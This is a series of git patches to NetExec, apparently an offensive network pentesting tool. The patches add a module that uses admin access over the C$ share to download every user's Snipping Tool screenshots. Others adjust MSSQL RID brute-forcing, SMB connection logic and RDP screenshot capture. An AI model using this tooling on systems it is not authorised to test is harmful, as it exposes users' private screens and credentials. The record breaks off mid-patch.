00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:54:48 -0500 Subject: [PATCH 106/376] add error checking for when not on a domain-joined machine --- nxc/protocols/mssql.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 9c95f132..7160182e 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -423,12 +423,16 @@ class mssql(connection): if not max_rid: max_rid = int(self.args.rid_brute) - # Query domain - domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] + try: + # Query domain + domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] + + # Query known group to determine raw SID & convert to canon + raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] + domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + except Exception as e: + self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") - # Query known group to determine raw SID & convert to canon - raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] - domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] so_far = 0 simultaneous = 1000 From b4b67141251b1a12f0ea6bcd98de8a8a2c21a0ad Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 21:28:53 -0500 Subject: [PATCH 107/376] remove extra newline for better formatting --- nxc/protocols/mssql.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 7160182e..655484a7 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -433,7 +433,6 @@ class mssql(connection): except Exception as e: self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") - so_far = 0 simultaneous = 1000 for _j in range(max_rid // simultaneous + 1): @@ -460,4 +459,4 @@ class mssql(connection): ) so_far += simultaneous - return entries \ No newline at end of file + return entries From 54fea6358ec013e455e213a2c904c1cb875f1cb8 Mon Sep 17 00:00:00 2001 From: Yeeb1 <47221467+Yeeb1@users.noreply.github.com> Date: Mon, 8 Jul 2024 21:29:28 +0000 Subject: [PATCH 108/376] Created the Snipped SMB Module --- nxc/modules/snipped.py | 120 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 nxc/modules/snipped.py diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py new file mode 100644 index 00000000..e9b65915 --- /dev/null +++ b/nxc/modules/snipped.py @@ -0,0 +1,120 @@ +from impacket import smb, smb3 +import ntpath +from os import makedirs +from os.path import join, exists +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target + +class NXCModule: + + name = "snipped" + description = "Downloads screenshots taken by the (new) Snipping Tool." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + + def options(self, context, module_options): + """ + USERS Download only specified user(s); format: -o USERS=user1,user2,user3 + """ + self.context = context + self.screenshot_path_stub = r"Pictures\Screenshots" + self.users = module_options["USERS"].split(",") if "USERS" in module_options else None + + def on_admin_login(self, context, connection): + self.context = context + self.connection = connection + self.share = "C$" + + host = f"{connection.hostname}.{connection.domain}" + domain = connection.domain + username = connection.username + kerberos = connection.kerberos + aesKey = connection.aesKey + use_kcache = getattr(connection, "use_kcache", False) + password = getattr(connection, "password", "") + lmhash = getattr(connection, "lmhash", "") + nthash = getattr(connection, "nthash", "") + + target = Target.create( + domain=domain, + username=username, + password=password, + target=host, + lmhash=lmhash, + nthash=nthash, + do_kerberos=kerberos, + aesKey=aesKey, + use_kcache=use_kcache, + ) + + dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + + output_path = f"nxc_snipped_{connection.host}" + context.log.debug("Getting all user folders") + try: + user_folders = dploot_conn.listPath(self.share, "\\Users\\*") + except Exception as e: + context.log.fail(f"Failed to list user folders: {e}") + return + + context.log.debug(f"User folders: {user_folders}") + if not user_folders: + context.log.fail("No User folders found!") + return + else: + context.log.display("Attempting to download screenshots if existent.") + + for user_folder in user_folders: + if not user_folder.is_directory(): + continue + folder_name = user_folder.get_longname() + if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]: + continue + if self.users and folder_name not in self.users: + continue + + screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub)) + try: + screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*") + except Exception as e: + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") + continue + + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue + + user_output_dir = join(output_path, folder_name) + if not exists(user_output_dir): + makedirs(user_output_dir) + + context.log.display(f"Downloading screenshots for user {folder_name}") + downloaded_count = 0 + for file in screenshot_files: + if file.is_directory(): + continue + remote_file_path = ntpath.join(screenshot_path, file.get_longname()) + local_file_path = join(user_output_dir, file.get_longname()) + with open(local_file_path, 'wb') as local_file: + try: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + dploot_conn.readFile(self.share, remote_file_path, local_file.write) + downloaded_count += 1 + except Exception as e: + context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + continue + + context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}") + + def upgrade_connection(self, target: Target, connection=None): + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + else: + conn.connect() + return conn From af512f1e6ba7dd37f11e430bdf18b0d22347ddd7 Mon Sep 17 00:00:00 2001 From: Yeeb1 <47221467+Yeeb1@users.noreply.github.com> Date: Tue, 5 Nov 2024 03:26:32 +0000 Subject: [PATCH 109/376] Modifed Snipped Module --- nxc/modules/snipped.py | 172 ++++++++++++++++++++++------------------- 1 file changed, 93 insertions(+), 79 deletions(-) diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index e9b65915..e5bfe00f 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -1,9 +1,8 @@ -from impacket import smb, smb3 import ntpath -from os import makedirs -from os.path import join, exists -from dploot.lib.smb import DPLootSMBConnection -from dploot.lib.target import Target +import os +from os.path import join, getsize, exists +from nxc.paths import NXC_PATH + class NXCModule: @@ -16,105 +15,120 @@ class NXCModule: def __init__(self): self.context = None self.module_options = None + self.excluded_files = ["desktop.ini"] def options(self, context, module_options): - """ - USERS Download only specified user(s); format: -o USERS=user1,user2,user3 - """ + """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" self.context = context - self.screenshot_path_stub = r"Pictures\Screenshots" - self.users = module_options["USERS"].split(",") if "USERS" in module_options else None + self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None + + def on_admin_login(self, context, connection): self.context = context self.connection = connection self.share = "C$" - - host = f"{connection.hostname}.{connection.domain}" - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) + output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") + os.makedirs(output_base_dir, exist_ok=True) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) - - output_path = f"nxc_snipped_{connection.host}" - context.log.debug("Getting all user folders") + context.log.info("Getting all user folders") try: - user_folders = dploot_conn.listPath(self.share, "\\Users\\*") + user_folders = connection.conn.listPath(self.share, "\\Users\\*") except Exception as e: context.log.fail(f"Failed to list user folders: {e}") return - context.log.debug(f"User folders: {user_folders}") + context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") if not user_folders: context.log.fail("No User folders found!") return else: - context.log.display("Attempting to download screenshots if existent.") + context.log.info("Attempting to download screenshots if they exist.") + + total_files_downloaded = 0 + host_output_path = None for user_folder in user_folders: - if not user_folder.is_directory(): - continue folder_name = user_folder.get_longname() - if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]: - continue - if self.users and folder_name not in self.users: - continue - - screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub)) - try: - screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*") - except Exception as e: - context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") - continue - - if not screenshot_files: - context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") - continue - - user_output_dir = join(output_path, folder_name) - if not exists(user_output_dir): - makedirs(user_output_dir) - - context.log.display(f"Downloading screenshots for user {folder_name}") - downloaded_count = 0 - for file in screenshot_files: - if file.is_directory(): + if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: + normalized_name = folder_name.lower() + if self.users and normalized_name not in self.users: continue - remote_file_path = ntpath.join(screenshot_path, file.get_longname()) - local_file_path = join(user_output_dir, file.get_longname()) - with open(local_file_path, 'wb') as local_file: + + context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") + screenshots_folders = self.find_screenshots_folders(folder_name) + if not screenshots_folders: + context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") + continue + + for screenshot_path in screenshots_folders: try: - context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") - dploot_conn.readFile(self.share, remote_file_path, local_file.write) - downloaded_count += 1 + screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") except Exception as e: - context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") continue - context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}") + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn + user_output_dir = join(output_base_dir, connection.host) + os.makedirs(user_output_dir, exist_ok=True) + host_output_path = user_output_dir + + for file in screenshot_files: + if not file.is_directory(): + remote_file_name = file.get_longname() + + if remote_file_name.lower() in self.excluded_files: + context.log.debug(f"Excluding file {remote_file_name}.") + continue + + remote_file_path = ntpath.join(screenshot_path, remote_file_name) + sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_") + local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}" + local_file_path = join(user_output_dir, local_file_name) + + try: + with open(local_file_path, "wb") as local_file: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + connection.conn.getFile(self.share, remote_file_path, local_file.write) + + if not exists(local_file_path): + context.log.error(f"Downloaded file {local_file_path} does not exist.") + continue + + file_size = getsize(local_file_path) + if file_size == 0: + context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.") + os.remove(local_file_path) + else: + total_files_downloaded += 1 + except Exception as e: + context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + + if total_files_downloaded > 0 and host_output_path: + context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") + + + def find_screenshots_folders(self, user_folder_name): + """ + Dynamically searches for all Screenshots folders in the user's home directory. + Returns a list of paths. + """ + base_path = ntpath.normpath(join(r"Users", user_folder_name)) + screenshots_folders = [] + try: + subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") + for subfolder in subfolders: + if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: + potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") + try: + if self.connection.conn.listPath(self.share, potential_path + "\\*"): + screenshots_folders.append(potential_path) + except Exception: + continue + except Exception as e: + self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") + return screenshots_folders From 4f10c0b45ab4623cee96d0c73ed3ef84b7cb5789 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 25 Nov 2024 15:49:42 -0500 Subject: [PATCH 110/376] Update impacket so ldaps channel binding is supported --- nxc/protocols/ldap.py | 6 ------ poetry.lock | 10 +++++----- 2 files changed, 5 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8e290588..acc05846 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -495,15 +495,12 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") @@ -585,15 +582,12 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") diff --git a/poetry.lock b/poetry.lock index 2e614965..6b899e7d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" @@ -894,7 +894,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20240916.171021.65b774de" +version = "0.13.0.dev0+20241125.162952.ea27e8b2" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -902,12 +902,12 @@ files = [] develop = false [package.dependencies] -charset-normalizer = "*" +charset_normalizer = "*" flask = ">=1.0" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" -pyasn1-modules = "*" +pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "24.0.0" pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} @@ -918,7 +918,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "65b774ded17a79f1041397202852eab0c24cd039" +resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d" [[package]] name = "iniconfig" From 9d558d95dbfb3b7a9b5b43c47d5edc07044f44d2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 17:31:50 -0500 Subject: [PATCH 111/376] Remove unnecessary exception info which results in double logs, caused by kwargs passed as exc_info in log record --- nxc/logger.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index 2a30a025..8429de09 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -43,7 +43,7 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs): temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame)) + handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): @@ -56,9 +56,6 @@ class SmartDebugRichHandler(RichHandler): def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" - # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging - record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text - if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename From 8dabb3d0e6b0a26e324e7a4781f03405a10699f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 18:27:59 -0500 Subject: [PATCH 112/376] Remove formatter that strips out escape sequence, as already done by Text.from_ansi --- nxc/logger.py | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index 8429de09..f44c37a4 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -3,7 +3,6 @@ from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys -import re from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored @@ -174,7 +173,7 @@ class NXCAdapter(logging.LoggerAdapter): self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -206,17 +205,5 @@ class NXCAdapter(logging.LoggerAdapter): ) -class TermEscapeCodeFormatter(logging.Formatter): - """A class to strip the escape codes for logging to files""" - - def __init__(self, fmt=None, datefmt=None, style="%", validate=True): - super().__init__(fmt, datefmt, style, validate) - - def format(self, record): # noqa: A003 - escape_re = re.compile(r"\x1b\[[0-9;]*m") - record.msg = re.sub(escape_re, "", str(record.msg)) - return super().format(record) - - # initialize the logger for all of nxc - this is imported everywhere nxc_logger = NXCAdapter() From 9e024582a48491ce4909f00fbd46000411bd7e21 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 18:41:10 -0500 Subject: [PATCH 113/376] Add timeout check, to not double check a non existent host --- nxc/protocols/smb.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0f27f80a..8fa940bb 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -159,6 +159,7 @@ class smb(connection): self.bootkey = None self.output_filename = None self.smbv1 = None + self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name self.pvkbytes = None @@ -551,8 +552,13 @@ class smb(connection): ) self.smbv1 = True except OSError as e: - if str(e).find("Connection reset by peer") != -1: + if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") + if "timed out" in str(e): + self.is_timeouted = True + return False + except NetBIOSError: + self.logger.info(f"SMBv1 disabled on {self.host}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") @@ -596,7 +602,7 @@ class smb(connection): self.smbv1 = self.create_smbv1_conn() if self.smbv1: return True - else: + elif not self.is_timeouted: return self.create_smbv3_conn() elif not no_smbv1 and self.smbv1: return self.create_smbv1_conn() From 9644cae865ebc3cc5c29d14e0641b3b24adbfb6a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 18:43:23 -0500 Subject: [PATCH 114/376] Simplify logging --- nxc/protocols/smb.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 8fa940bb..e58b8de0 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -554,8 +554,11 @@ class smb(connection): except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") - if "timed out" in str(e): + elif "timed out" in str(e): self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") return False except NetBIOSError: self.logger.info(f"SMBv1 disabled on {self.host}") @@ -576,15 +579,7 @@ class smb(connection): timeout=self.args.smb_timeout, ) self.smbv1 = False - except OSError as e: - # This should not happen anymore!!! - if str(e).find("Too many open files") != -1: - if not self.logger: - print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger)) - self.proto_logger() - self.logger.fail(f"SMBv3 connection error on {self.host}: {e}") - return False - except (Exception, NetBIOSTimeout) as e: + except (Exception, NetBIOSTimeout, OSError) as e: self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True From 410e040a283b4c35279db7d0528b3b4fa53a6884 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 19:00:45 -0500 Subject: [PATCH 115/376] Don't print an index error with null session, we won't have null user in the db --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e58b8de0..23a3567f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -846,7 +846,7 @@ class smb(connection): self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except IndexError as e: - if self.kerberos: + if self.kerberos or self.username == "": pass else: self.logger.fail(f"IndexError: {e!s}") From b9f52fdd4b90148ef2ea06618273919eb02a211a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 19:00:54 -0500 Subject: [PATCH 116/376] Formating --- nxc/protocols/smb.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 23a3567f..2ba13024 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -948,10 +948,9 @@ class smb(connection): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions - def dir(self): # noqa: A003 search_path = ntpath.join(self.args.dir, "*") - try: + try: contents = self.conn.listPath(self.args.share, search_path) except SessionError as e: error = get_error_string(e) @@ -960,7 +959,7 @@ class smb(connection): color="magenta" if error in smb_error_status else "red", ) return - + if not contents: return @@ -970,7 +969,6 @@ class smb(connection): full_path = ntpath.join(self.args.dir, content.get_longname()) self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") - @requires_admin def interfaces(self): """ From af8001591ca07623280b3a13149d2fd325dca296 Mon Sep 17 00:00:00 2001 From: Joytide Date: Tue, 3 Dec 2024 10:53:36 +0100 Subject: [PATCH 117/376] Bugfix: file extension filter of spiderplus was misleading --- nxc/modules/spider_plus.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 6697c332..fd837b33 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -286,6 +286,8 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: + if file_extension.startswith(".") and len(file_extension) > 1: + file_extension = file_extension[1:] self.stats["file_exts"].add(file_extension.lower()) if file_extension.lower() in self.exclude_exts: self.logger.info(f'The file "{file_path}" has an excluded extension.') From bd50a585a18f9d848eb598c1513e8a933dd6e43f Mon Sep 17 00:00:00 2001 From: MaxToffy <91328785+MaxToffy@users.noreply.github.com> Date: Wed, 4 Dec 2024 11:12:15 +0100 Subject: [PATCH 118/376] Fix TARGET_DN object query Signed-off-by: MaxToffy <91328785+MaxToffy@users.noreply.github.com> --- nxc/modules/daclread.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 2cb4f45c..efec5532 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -373,7 +373,7 @@ class NXCModule: if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( - searchBase=self.baseDN, + searchBase=_lookedup_principal, searchFilter=f"(distinguishedName={_lookedup_principal})", attributes=["nTSecurityDescriptor"], searchControls=controls, From 3ca3481270da8759abe45485cfd4b38039731f53 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Thu, 5 Dec 2024 00:38:41 +0200 Subject: [PATCH 119/376] Update spider_plus.py for both with and without dots Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/modules/spider_plus.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index fd837b33..da7d1bec 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -286,10 +286,9 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: - if file_extension.startswith(".") and len(file_extension) > 1: - file_extension = file_extension[1:] + file_extension = file_extension.lstrip(".") self.stats["file_exts"].add(file_extension.lower()) - if file_extension.lower() in self.exclude_exts: + if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]: self.logger.info(f'The file "{file_path}" has an excluded extension.') self.stats["num_files_filtered"] += 1 return From 74eb4cbcc825564f47b52b7a338330fcd4181eaa Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 9 Dec 2024 22:35:02 +0100 Subject: [PATCH 120/376] Update rdp.py Signed-off-by: lapinou --- nxc/protocols/rdp.py | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index f6d01d6e..6a0d6784 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -373,18 +373,22 @@ class rdp(connection): asyncio.run(self.screen()) async def nla_screen(self): - # Otherwise it crash - self.iosettings.supported_protocols = None - self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - await self.connect_rdp() - await asyncio.sleep(int(self.args.screentime)) + for proto in self.protoflags_nla: + try: + self.iosettings.supported_protocols = proto + self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + await self.connect_rdp() + await asyncio.sleep(int(self.args.screentime)) - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return + except Exception: + pass def nla_screenshot(self): if not self.nla: From 5174ce4a6b37b55e6a0f5e33a96c9f43f7240950 Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 9 Dec 2024 23:09:12 +0100 Subject: [PATCH 121/376] Update rdp.py Signed-off-by: lapinou --- nxc/protocols/rdp.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 6a0d6784..d1e73d3e 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -379,16 +379,16 @@ class rdp(connection): self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() - await asyncio.sleep(int(self.args.screentime)) - - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") - return except Exception: - pass + return + + await asyncio.sleep(int(self.args.screentime)) + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return def nla_screenshot(self): if not self.nla: From 8a55f22dc0a709de6c0474e1a24988d9cd5debbc Mon Sep 17 00:00:00 2001 From: lapinou Date: Tue, 10 Dec 2024 19:31:17 +0100 Subject: [PATCH 122/376] Update rdp.py Signed-off-by: lapinou --- nxc/protocols/rdp.py | 4 +++- 1 file 